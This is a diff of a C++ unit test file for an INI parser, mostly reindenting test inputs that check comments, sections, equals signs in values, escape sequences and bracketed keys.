"key_no_space=value1\n" + "key_with_space =value2\n" + "key_with_2spaces =value3\n" + ); CIniParser ini; ini.LoadFile(path.c_str()); @@ -107,12 +107,12 @@ void Test_SpecialCharsInValue() { printf("[Test 3] Special characters in value\n"); std::string path = WriteTempFile("special_chars", - "[Strings]\n" - "menu=Menu(&F)\n" - "addr=\n" - "fmt=%s connected %d times\n" - "paren=(auto-restore on expiry)\n" - ); + "[Strings]\n" + "menu=Menu(&F)\n" + "addr=\n" + "fmt=%s connected %d times\n" + "paren=(auto-restore on expiry)\n" + ); CIniParser ini; ini.LoadFile(path.c_str()); @@ -132,15 +132,15 @@ void Test_Comments() { printf("[Test 4] Comment lines skipped\n"); std::string path = WriteTempFile("comments", - "; This is a comment\n" - "# This is also a comment\n" - "[Strings]\n" - "; ============================================\n" - "# Section header comment\n" - "key1=value1\n" - "; key2=should_not_exist\n" - "key3=value3\n" - ); + "; This is a comment\n" + "# This is also a comment\n" + "[Strings]\n" + "; ============================================\n" + "# Section header comment\n" + "key1=value1\n" + "; key2=should_not_exist\n" + "key3=value3\n" + ); CIniParser ini; ini.LoadFile(path.c_str()); @@ -161,16 +161,16 @@ void Test_EmptyLines() { printf("[Test 5] Empty lines skipped\n"); std::string path = WriteTempFile("empty_lines", - "\n" - "\n" - "[Strings]\n" - "\n" - "key1=value1\n" - "\n" - "\n" - "key2=value2\n" - "\n" - ); + "\n" + "\n" + "[Strings]\n" + "\n" + "key1=value1\n" + "\n" + "\n" + "key2=value2\n" + "\n" + ); CIniParser ini; ini.LoadFile(path.c_str()); @@ -189,15 +189,15 @@ void Test_MultipleSections() { printf("[Test 6] Multiple sections\n"); std::string path = WriteTempFile("sections", - "[Strings]\n" - "key1=value1\n" - "key2=value2\n" - "[Other]\n" - "key1=other_value1\n" - "key3=other_value3\n" - "[Strings2]\n" - "keyA=valueA\n" - ); + "[Strings]\n" + "key1=value1\n" + "key2=value2\n" + "[Other]\n" + "key1=other_value1\n" + "key3=other_value3\n" + "[Strings2]\n" + "keyA=valueA\n" + ); CIniParser ini; ini.LoadFile(path.c_str()); @@ -311,11 +311,11 @@ void Test_EqualsInValue() { printf("[Test 10] Equals sign in value\n"); std::string path = WriteTempFile("equals", - "[Strings]\n" - "formula=a=b+c\n" - "equation=x=1=2=3\n" - "normal=hello\n" - ); + "[Strings]\n" + "formula=a=b+c\n" + "equation=x=1=2=3\n" + "normal=hello\n" + ); CIniParser ini; ini.LoadFile(path.c_str()); @@ -339,11 +339,11 @@ void Test_EscapeCRLF_InKey() // INI 文件中写字面量 \r\n，解析器应转为真正的 0x0D 0x0A // 模拟代码中: _TR("\n编译日期: ") 和 _TR("操作失败\r\n请重试") std::string path = WriteTempFile("escape_key", - "[Strings]\n" - "\\n compile date: =\\n Build Date: \n" - "fail\\r\\nretry=Fail\\r\\nRetry\n" - "line1\\nline2\\nline3=L1\\nL2\\nL3\n" - ); + "[Strings]\n" + "\\n compile date: =\\n Build Date: \n" + "fail\\r\\nretry=Fail\\r\\nRetry\n" + "line1\\nline2\\nline3=L1\\nL2\\nL3\n" + ); CIniParser ini; ini.LoadFile(path.c_str()); @@ -370,10 +370,10 @@ void Test_EscapeCRLF_InValue() { printf("[Test 12] Escape \\r\\n in value\n"); std::string path = WriteTempFile("escape_value", - "[Strings]\n" - "msg=hello\\r\\nworld\n" - "multiline=line1\\nline2\\nline3\n" - ); + "[Strings]\n" + "msg=hello\\r\\nworld\n" + "multiline=line1\\nline2\\nline3\n" + ); CIniParser ini; ini.LoadFile(path.c_str()); @@ -393,11 +393,11 @@ void Test_EscapeBackslashAndQuote() { printf("[Test 13] Escape \\\\ and \\\" sequences\n"); std::string path = WriteTempFile("escape_bsq", - "[Strings]\n" - "path=C:\\\\Users\\\\test\n" - "quoted=say \\\"hello\\\"\n" - "mixed=\\\"line1\\n line2\\\"\n" - ); + "[Strings]\n" + "path=C:\\\\Users\\\\test\n" + "quoted=say \\\"hello\\\"\n" + "mixed=\\\"line1\\n line2\\\"\n" + ); CIniParser ini; ini.LoadFile(path.c_str()); @@ -419,10 +419,10 @@ void Test_EscapeTab() { printf("[Test 14] Escape \\t sequence\n"); std::string path = WriteTempFile("escape_tab", - "[Strings]\n" - "col=name\\tvalue\n" - "header=ID\\tName\\tStatus\n" - ); + "[Strings]\n" + "col=name\\tvalue\n" + "header=ID\\tName\\tStatus\n" + ); CIniParser ini; ini.LoadFile(path.c_str()); @@ -442,10 +442,10 @@ void Test_UnknownEscapePassthrough() { printf("[Test 15] Unknown escape passthrough\n"); std::string path = WriteTempFile("escape_unknown", - "[Strings]\n" - "unknown=hello\\xworld\n" - "trailing_bs=end\\\n" - ); + "[Strings]\n" + "unknown=hello\\xworld\n" + "trailing_bs=end\\\n" + ); CIniParser ini; ini.LoadFile(path.c_str()); @@ -468,9 +468,9 @@ void Test_EscapeWithTrailingSpace() printf("[Test 16] Escape + trailing space in key\n"); // 模拟: _TR("\n编译日期: ") — key 以 \n 开头，以冒号+空格结尾 std::string path = WriteTempFile("escape_trail", - "[Strings]\n" - "\\n date: =\\n Date: \n" - ); + "[Strings]\n" + "\\n date: =\\n Date: \n" + ); CIniParser ini; ini.LoadFile(path.c_str()); @@ -494,12 +494,12 @@ void Test_BracketKey() printf("[Test 17] Key starting with '[' (not a section header)\n"); // 模拟: _TR("[使用FRP]") 和 _TR("[未使用FRP]") std::string path = WriteTempFile("bracket_key", - "[Strings]\n" - "normal=value1\n" - "[tag1]=[Tag One]\n" - "[tag2]=[Tag Two]\n" - "after=value2\n" - ); + "[Strings]\n" + "normal=value1\n" + "[tag1]=[Tag One]\n" + "[tag2]=[Tag Two]\n" + "after=value2\n" + ); CIniParser ini; ini.LoadFile(path.c_str());